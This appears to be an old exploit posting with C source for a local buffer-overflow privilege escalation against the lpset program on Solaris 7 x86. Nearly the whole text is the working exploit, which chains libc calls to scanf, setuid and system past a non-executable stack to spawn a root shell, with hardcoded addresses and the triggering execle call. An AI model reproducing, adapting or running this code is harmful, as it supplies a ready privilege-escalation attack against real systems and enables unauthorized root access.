Here's an overflow exploit that works on a non-exec stack on x86 boxes. It demonstrates how it is possible to thread together several libc calls.
3238065018d8cc59f08614d088172be8ae759fa0a29334aa5cf53f44f305b996
Here's an overflow exploit that works on a non-exec stack on x86 boxes.
It demonstrates how it is possible to thread together several libc
calls. I have not seen any other exploits for x86 that have done this..
for the lpset bug in sol7 x86.
Tim N.
#define BASE 0xdff40000
#define STACK 0x8047e30
#define BUFSIZE 36
#define SYSTEM (BASE + 0x5b328)
#define SCANF (BASE + 0x5ae80)
#define SETUID (BASE + 0x30873)
#define PERCD (BASE + 0x83754)
#define BINSH (BASE + 0x83654)
#define POP3 (SYSTEM + 610)
#define POP2 (SYSTEM + 611)
#define POP1 (SYSTEM + 612)
int
main()
{
unsigned char expbuf[1024];
char *env[1];
int *p, i;
memset(expbuf, 'a', BUFSIZE);
p = (int *)(expbuf + BUFSIZE);
*p++ = STACK;
*p++ = SCANF + 1;
*p++ = STACK + 6 * 4;
*p++ = POP2;
*p++ = PERCD;
*p++ = STACK + 9 * 4;
*p++ = STACK + 10 * 4;
*p++ = SETUID;
*p++ = POP1;
*p++ = 0x33333333;
*p++ = STACK + 15 * 4;
*p++ = SYSTEM;
*p++ = 0x33333333;
*p++ = BINSH;
*p = 0;
env[0] = 0;
execle("/bin/lpset", "/bin/lpset", "-n", "fns", "-r", expbuf, "123", 0,
env);
return 0;
}